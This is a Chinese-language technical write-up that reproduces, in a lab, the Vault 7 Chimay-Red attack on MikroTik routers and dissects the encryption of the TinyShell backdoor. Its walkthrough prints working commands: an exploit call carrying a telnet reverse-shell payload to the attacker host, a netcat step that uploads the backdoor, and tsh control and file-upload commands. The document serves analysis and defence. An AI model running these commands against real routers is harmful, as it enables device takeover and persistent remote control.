CIA组织MikroTik软路由攻击场景复现及后门加解密剖析
字数 1837 2025-08-05 08:20:05

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

概述

本文档详细剖析了CIA组织针对MikroTik路由器的攻击技术,基于"Vault 7"泄露文档中的信息,完整复现了攻击场景并深入分析了TinyShell后门的技术原理。

背景信息

  • Vault 7泄露文档:2017年由维基解密曝光的CIA机密文件,包含8700余份文件,揭示了CIA对各类设备的入侵技术
  • 攻击目标:MikroTik路由器,利用其RouterOS系统中的漏洞植入后门
  • 攻击工具
    • Chimay Red:针对MikroTik RouterOS系统中www程序的漏洞利用工具
    • TinyShell:轻量级网络设备后门程序,支持文件传输和远程控制

环境搭建

MikroTik虚拟机配置

  1. 下载MikroTik RouterOS 6.38.4版本
  2. 通过VMware安装虚拟机
  3. 配置IP地址:
    # 登录信息
    用户名: admin
    密码: 空
    
    # 配置命令
    ip address add address=192.168.109.200/24 interface=ether1
    

漏洞利用工具准备

  1. Chimay-Red

    • 下载地址:https://github.com/BigNerd95/Chimay-Red
    • 功能:利用MikroTik RouterOS漏洞上传并执行后门
  2. TinyShell

    • 开源项目:https://github.com/orangetw/tsh
    • 编译选项:
      • 静态编译(适配MikroTik环境)
      • 正向/反向连接模式(通过修改tsh.h文件配置)

攻击场景复现

完整攻击流程

  1. 使用Chimay-Red上传TinyShell后门
  2. 使用TinyShell控制端连接后门
  3. 验证shell权限
  4. 上传busybox增强系统功能
  5. 通过busybox执行恶意操作

详细操作步骤

  1. 上传并执行TinyShell后门

    {
      echo "echo Uploading...";
      hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/bash\n"' tshd | sed -e "s/x //g";
      echo "chmod 777 /ram/bash";
      echo "./ram/bash";
    } | nc -l -q 0 -p 2345;
    ./StackClash_x86.py 192.168.109.200 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.109.140 2345 < /ram/f | /bin/bash > /ram/f"
    
  2. 连接TinyShell确认权限

    ./tsh 192.168.109.200
    
  3. 上传busybox

    ./tsh 192.168.109.200 put busybox-i486 /ram/
    
  4. 使用busybox执行命令

    ./tsh 192.168.109.200
    cd /ram
    chmod 777 busybox-i486
    ./busybox-i486
    

工具选择原因

  • Chimay-Red的局限性

    • 通信明文传输
    • 操作不便(需退出shell才能上传文件)
  • TinyShell优势

    • 通信加密
    • 支持命令补全
    • 内置文件传输功能

TinyShell技术分析

功能模块

  1. 文件下载

    • 功能函数:tshd_get_file
    • 实现从受控端下载文件到控制端
  2. 文件上传

    • 功能函数:tshd_put_file
    • 实现从控制端上传文件到受控端
  3. Shell执行

    • 功能函数:tshd_runshell
    • 提供交互式shell环境
  4. 外联通信

    • 核心函数:pel_send_msg, pel_recv_msg
    • 使用SHA1和AES算法加密通信

通信模型

  1. 初始化阶段

    • 生成两个20字节的IV(IV1和IV2)
      • 基于当前时间和进程ID通过SHA1计算
    • 发送40字节的IV1+IV2数据
  2. 密钥生成

    • 发送密钥:SHA1(key + IV1)[:16]
    • 接收密钥:SHA1(key + IV2)[:16]
    • 初始IV:
      • 发送IV:IV1的前16字节
      • 接收IV:IV2的前16字节
  3. 挑战验证

    • 交换固定挑战值:\x58\x90\xAE\x86\xF1\xB9\x1C\xF6\x29\x83\x95\x71\x1D\xDE\x58\x0D
  4. 数据传输

    • 数据结构:
      • 2字节:载荷长度
      • N字节:实际数据
    • 加密方式:
      • 每16字节分组加密
      • 前一组加密结果作为下一组的IV

通信解密实现

解密程序结构

  1. 核心功能

    • 解析原始通信数据
    • 计算会话密钥
    • 解密通信内容
  2. 代码实现(Go语言):

// main.go - 主程序
package main

import (
    "awesomeProject5/common"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "strings"
)

func main() {
    key := "tinyshell"
    // 读取捕获的通信数据
    content, err := ioutil.ReadFile("capture.txt")
    if err != nil {
        fmt.Println("Error reading file:", err)
        return
    }
    // 数据处理和解析...
}

// common.go - 加解密功能
package common

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/sha1"
    "encoding/hex"
    "fmt"
)

func Decrypt_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) {
    // 解密实现...
}

func decrypt_pel_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) (plaintext []byte) {
    // 分组解密实现...
}

func DecryptAES(ciphertext, key, iv []byte) ([]byte, error) {
    // AES解密实现...
}

func CalculateSHA1(input []byte) []byte {
    // SHA1计算实现...
}

解密流程

  1. 从捕获数据中提取初始IV(前40字节)
  2. 计算会话密钥:
    • send_aes_key = SHA1(key + IV1)[:16]
    • recv_aes_key = SHA1(key + IV2)[:16]
  3. 设置初始IV:
    • send_aes_iv = IV1[:16]
    • recv_aes_iv = IV2[:16]
  4. 解密通信数据:
    • 处理2字节长度字段
    • 分组解密实际载荷
    • 使用前一组密文作为下一组的IV

防御建议

  1. 及时更新系统:确保RouterOS保持最新版本
  2. 网络监控:检测异常通信模式(如固定挑战值交换)
  3. 访问控制:限制路由器的管理接口访问
  4. 日志审计:监控系统文件变更和异常进程
  5. 加密通信分析:部署解密探针检测TinyShell特征

总结

本文完整复现了CIA组织对MikroTik路由器的攻击链,深入分析了TinyShell后门的技术实现,特别是其加密通信机制。通过理解这些技术细节,安全人员可以更好地检测和防御此类高级威胁。

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析 概述 本文档详细剖析了CIA组织针对MikroTik路由器的攻击技术,基于"Vault 7"泄露文档中的信息,完整复现了攻击场景并深入分析了TinyShell后门的技术原理。 背景信息 Vault 7泄露文档 :2017年由维基解密曝光的CIA机密文件,包含8700余份文件,揭示了CIA对各类设备的入侵技术 攻击目标 :MikroTik路由器,利用其RouterOS系统中的漏洞植入后门 攻击工具 : Chimay Red:针对MikroTik RouterOS系统中www程序的漏洞利用工具 TinyShell:轻量级网络设备后门程序,支持文件传输和远程控制 环境搭建 MikroTik虚拟机配置 下载MikroTik RouterOS 6.38.4版本 通过VMware安装虚拟机 配置IP地址: 漏洞利用工具准备 Chimay-Red : 下载地址:https://github.com/BigNerd95/Chimay-Red 功能:利用MikroTik RouterOS漏洞上传并执行后门 TinyShell : 开源项目:https://github.com/orangetw/tsh 编译选项: 静态编译(适配MikroTik环境) 正向/反向连接模式(通过修改tsh.h文件配置) 攻击场景复现 完整攻击流程 使用Chimay-Red上传TinyShell后门 使用TinyShell控制端连接后门 验证shell权限 上传busybox增强系统功能 通过busybox执行恶意操作 详细操作步骤 上传并执行TinyShell后门 : 连接TinyShell确认权限 : 上传busybox : 使用busybox执行命令 : 工具选择原因 Chimay-Red的局限性 : 通信明文传输 操作不便(需退出shell才能上传文件) TinyShell优势 : 通信加密 支持命令补全 内置文件传输功能 TinyShell技术分析 功能模块 文件下载 : 功能函数: tshd_get_file 实现从受控端下载文件到控制端 文件上传 : 功能函数: tshd_put_file 实现从控制端上传文件到受控端 Shell执行 : 功能函数: tshd_runshell 提供交互式shell环境 外联通信 : 核心函数: pel_send_msg , pel_recv_msg 使用SHA1和AES算法加密通信 通信模型 初始化阶段 : 生成两个20字节的IV(IV1和IV2) 基于当前时间和进程ID通过SHA1计算 发送40字节的IV1+IV2数据 密钥生成 : 发送密钥: SHA1(key + IV1)[:16] 接收密钥: SHA1(key + IV2)[:16] 初始IV: 发送IV:IV1的前16字节 接收IV:IV2的前16字节 挑战验证 : 交换固定挑战值: \x58\x90\xAE\x86\xF1\xB9\x1C\xF6\x29\x83\x95\x71\x1D\xDE\x58\x0D 数据传输 : 数据结构: 2字节:载荷长度 N字节:实际数据 加密方式: 每16字节分组加密 前一组加密结果作为下一组的IV 通信解密实现 解密程序结构 核心功能 : 解析原始通信数据 计算会话密钥 解密通信内容 代码实现 (Go语言): 解密流程 从捕获数据中提取初始IV(前40字节) 计算会话密钥: send_aes_key = SHA1(key + IV1)[:16] recv_aes_key = SHA1(key + IV2)[:16] 设置初始IV: send_aes_iv = IV1[:16] recv_aes_iv = IV2[:16] 解密通信数据: 处理2字节长度字段 分组解密实际载荷 使用前一组密文作为下一组的IV 防御建议 及时更新系统 :确保RouterOS保持最新版本 网络监控 :检测异常通信模式(如固定挑战值交换) 访问控制 :限制路由器的管理接口访问 日志审计 :监控系统文件变更和异常进程 加密通信分析 :部署解密探针检测TinyShell特征 总结 本文完整复现了CIA组织对MikroTik路由器的攻击链,深入分析了TinyShell后门的技术实现,特别是其加密通信机制。通过理解这些技术细节,安全人员可以更好地检测和防御此类高级威胁。